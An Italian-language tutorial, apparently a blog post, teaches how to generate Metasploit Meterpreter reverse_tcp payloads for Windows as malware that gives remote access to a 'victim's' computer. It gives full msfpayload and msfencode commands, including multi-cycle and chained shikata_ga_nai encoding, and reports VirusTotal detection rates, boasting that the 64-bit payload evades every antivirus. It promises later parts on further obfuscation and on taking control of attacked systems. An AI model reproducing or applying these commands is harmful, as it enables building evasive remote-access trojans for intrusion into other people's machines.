In questo primo tutorial spiegherò come creare un Payload (più comunemente chiamato virus informatico o malware) che permetta l’accesso da remoto sul computer della vittima, ed ottimizzare al meglio il mascheramento ai vari antivirus, sia commerciali che freeware.
Partiremo dal più semplice virus che viene rilevato dalla maggior parte delle protezioni per pc, sino ad arrivare a payload che non vengono rilevati da nessun antivirus attualmente in circolazione.

Per far ciò, utilizzeremo Meterpreter del Framework di Metasploit, che si trova in distribuzioni come Backtrack 5 o il suo successore Kali Linux.
Se non sapete cosa sono queste distribuzioni Linux per lo stress test delle reti, potete trovare informazioni e scaricare le versioni live a questi indirizzi:

Link per Download Live di Backtrack
Link per Download Live di Kali Linux

Invece per testare i vari Payloads che andremo a creare utilizzeremo il servizio che mette a disposizione il sito VirusTotal.com, che analizza con la maggior parte degli antivirus esistenti qualunque file inviato sotto i 64MB, restituendo una tabella che illustra quanti e quali antivirus hanno rilevato come sospetto il file inviato.

virustotal

Per creare questi payloads ci sono 2 modi, entrambi da terminale, uno automatizzato e l’altro completamente manuale.
Per questo tutorial inizieremo dal metodo manuale per spiegare meglio cosa fanno questi tools, per poi passare al metodo automatico e più veloce in un successivo tutorial.
Ora senza tanti preamboli, andiamo subito a vedere le basi per utilizzare i software per creare i nostri payloads.

Il primo tool da conoscere è MSFPayload. Per aprirlo basta digitare dal terminale:

msfpayload

Come forse intuirete MSFPayload si utilizza in questo modo:

msfpayload     path-payload     opzioni-payload     tipo-file-output     >     path-file-output

Noi faremo sempre riferimento nel nostro tutorial al payload Meterpreter/reverse_tcp, uno dei più pericolosi e diffusi payload. A causa di questa fama però è anche uno dei payload con il più alto tasso di rilevamento da parte degli antivirus.
Difatti proprio per questo motivo utilizzeremo anche il tool di metasploit chiamato MSFEncode, che non fa altro che codificare e camuffare il payload precedentemente creato con MSFPayload. Questo tool bisogna usarlo in abbinata con MSFPayload in questo modo:

msfpayload     path-payload     opzioni-payload     R     |     msfencode     opzione-encode     -t     formato-output     -o     path-file-output

La R alla fine della parte di msfpayload sta a significare che l’output è in formato grezzo (RAW).

Prima di vedere come creare il nostro primo Payload, bisogna conoscere il nostro indirizzo IP locale, quindi si dovrà digitare sul terminale (scorciatoia da tastiera CTRL+ALT+T):

ifconfig

A seconda se siate collegati in wireless o via cavo, dovrete segnarvi l’indirizzo IP locale di rete che sarà su wlan0 se siete connessi in wireless o su eth0 se connessi in rete.
L’indirizzo IP locale sarà del tipo 192.168.x.y, per la nostra trattazione utilizzeremo questo indirizzo IP fittizio: 192.168.0.3.
La porta che andremo a settare sul nostro payload potrà essere un numero casuale, per la nostra trattazione utilizzeremo sempre la porta 443.

Architettura 32 bit

Ora vediamo il codice per creare il nostro primo payload senza alcun encoding per sistemi Windows a 32 bit:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 X > payload.exe

payload-terminale

Il payload così creato lo potrete trovare nella cartella di root. Per cambiare la destinazione di creazione dovrete semplicemente aggiungere il percorso prima di payload.exe, per esempio per crearlo direttamente sul desktop:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 X > /root/Desktop/payload.exe

Ora andiamo ad analizzare con VirusTotal.com quanti antivirus rilevano questo payload.
Ovviamente senza un adeguato encoding viene rilevato dalla maggior parte degli antivirus, con un tasso di rilavamento pari a 36 antivirus su 47 testati, ossia il 76.5%.

payload-virustotal

Il dato preoccupante è che ben 11 antivirus non abbiano rilevato come minaccia un trojan conosciuto da anni come questo.
Bisogna però anche dire che gli antivirus più conosciuti (Avast!, Avira, AVG, kaspersky, Norton, etc…), ovvero le soluzioni di protezione più diffuse, hanno rilevato la minaccia senza alcun problema.

Ora proviamo ad applicare allo stesso payload 5 cicli di codifica con l’algoritmo shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 R | msfencode -e x86/shikata_na_gai -c 5 -t exe -o payload-encode.exe

Questo tipo di encoding non è molto efficace, perché molto semplice, anche se effettuato con uno dei migliori algoritmi di codifica esistenti. Difatti il tasso di rilevamento passa a 34 su 47, ovvero 2 soli in meno rispetto al payload puro, arrivando al 72.3%.

Provando ad aumentare a 10 i cicli di codifica in questo modo:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 R | msfencode -e x86/shikata_na_gai -c 10 -t exe -o payload-encode-10.exe

si può notare che il valore rimane invariato.
Provando ulteriormente ad aumentare i cicli sino a 20 in questo modo:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 R | msfencode -e x86/shikata_na_gai -c 20 -t exe -o payload-encode-20.exe

il valore inizia a peggiorare passando a 35 allarmi su 47.
Questo succede perché l’applicazione massiva di cicli di codifica fa allarmare gli antivirus, quindi è meglio non eccedere.

Ora proviamo a effettuare degli encoding multilpi utilizzando algoritmi diversi, in questo modo:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=443 R | msfencode -e x86/shikata_na_gai -c 1 -t raw | msfencode -e x86/jmp_call_additive -t exe -c 1 -o payload-multi.exe

Con questo ulteriore tipo di codifica le rilevazioni scendono a 33 su 47, avendo quindi un ulteriore miglioramento.

Architettura 64 bit

Qui viene il bello, in quanto il semplice payload per architetture a 64bit, creato con questo semplice codice:

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.3 X > payload64.exe

payload64-terminale

il payload non viene rilevato da nessun antivirus!!! Non viene rilevato neanche dai più blasonati Avast!, Avira AntiVir, AVG, kaspersky, Norton e GData, ovvero le protezioni più usate e blasonate!

payload64-virustotal

Il fatto è alquanto sconvolgente pensando alla rapidità con cui si stanno diffondendo i sistemi operativi Windows a 64bit, e fa riflettere sulla fiducia che riponiamo su tali sistemi.
Tutto ciò si può spiegare con il fatto che questo sia ancora un malware giovane e poco conosciuto dalle case produttrici di antivirus, aggiungendo il fatto che fino a poco tempo fa la maggior parte dei sistemi erano basati su un’architettura a 32 bit.

In un prossimo articolo spiegherò come offuscare ulteriormente agli antivirus i vari payload creati e con un altro come utilizzare i payload creati in precedenza e ottenere il controllo sul sistema Windows attaccato.